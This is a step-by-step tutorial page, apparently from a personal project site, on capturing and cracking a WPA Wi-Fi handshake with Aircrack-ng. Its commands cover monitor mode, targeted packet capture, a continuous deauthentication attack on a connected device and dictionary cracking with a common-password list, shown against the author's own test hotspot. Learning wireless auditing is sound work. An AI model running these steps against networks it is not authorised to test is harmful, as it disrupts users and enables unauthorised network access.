> For the complete documentation index, see [llms.txt](https://derek-johnson-1.gitbook.io/welcome/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://derek-johnson-1.gitbook.io/welcome/projects/aircrack-ng.md).

# Aircrack-ng

## Tutorial Video

{% embed url="<https://www.youtube.com/watch?v=zAWcu3NQLME>" %}

## Requirements

* Wifi adapter that supports monitor mode.
* Linux machine or virtual machine.
* Aircrack-ng.
* List of common passwords. <https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt>

Step 1: Installation

```
sudo apt update
sudo apt-get install -y aircrack-ng 
```

Step 2: Check available Wi-Fi cards. And disable any processes that may interfere with monitor mode.

```
ip a
```

<figure><img src="/files/nZFjTiEk9q5qEwjLk7pQ" alt=""><figcaption></figcaption></figure>

The internal Wi-Fi card can interfere with the deauth process so we set it to down with this command.&#x20;

```
sudo ifconfig wlan0 down
```

This command will check any processes that my interfere with our Wi-Fi adapter in monitor mode.

```
sudo airmon-ng check
```

This command then kills any of the processes listed from the command above.

```
sudo airmon-ng check kill
```

<figure><img src="/files/6cQ8ZrxhSvtLOtI5X3lZ" alt=""><figcaption></figcaption></figure>

Step 3: The next command will set the Wi-Fi adapter into monitor mode.&#x20;

```
sudo airmon-ng start wlan1
```

<figure><img src="/files/4nd5agemmYlgNb11USHw" alt=""><figcaption></figcaption></figure>

Step 4: Next we want to grab the hex value of our target network.

```
sudo airodump-ng wlan1mon
```

<figure><img src="/files/ufAvGRDrNwo3bRaCIU7t" alt=""><figcaption></figcaption></figure>

Our hotspot named TestNetwork seems to be operating on channel 6 with the shown mac address.&#x20;

Step 5: Now we only want to listen to devices trying to connect to our target network so we run the following command.

```
sudo airodump-ng -c1 -w capture -d (YOUR TARGET'S HEX VALUE) wlan1mon
```

<figure><img src="/files/WBQg5nI9WjuNDqSDW7pA" alt=""><figcaption></figcaption></figure>

Step 6: Now we can see the network and a device that is currently connected. We want to deauth this device from the network and capture the WPA handshake when it attempts to re-join the network.

```
sudo aireplay-ng --deauth 0 -a (NETWORK HASH) -c (DEVICE HASH) wlan1mon
```

{% hint style="info" %}
The network hash is the first BSSID and the device hash is the second listed station.
{% endhint %}

<figure><img src="/files/F11fas95X2qQd7wqIC7j" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wxSrtIOmlUVj0L3d9Ko2" alt=""><figcaption></figcaption></figure>

Step 7: Once we have captured the wpa handshake we can turn off monitor mode on our adapter and attempt to crack the password using a list of popular used passwords.

```
sudo airmon-ng stop wlan1mon
```

<figure><img src="/files/AOAZvfHfjcKLHTBgJexE" alt=""><figcaption></figcaption></figure>

```
sudo aircrack-ng (YOUR CAPTURE FILE) -w (YOUR PASSWORD LIST DIRECTORY) 
```

{% hint style="info" %}
Your capture file will be saved to your device. There may be multiple capture files so use the most recent one created.
{% endhint %}

<figure><img src="/files/kjf6dWYxkvq8ISxE7K4v" alt=""><figcaption></figcaption></figure>

Step 8: Congrats!!! 🥳🥳🥳 you have just learned how to use Aircrack-ng to capture and crack a wpa handshake.&#x20;

{% hint style="info" %}
I am not liable for any misuse of this knowledge. This tutorial is for educational purposes only.&#x20;
{% endhint %}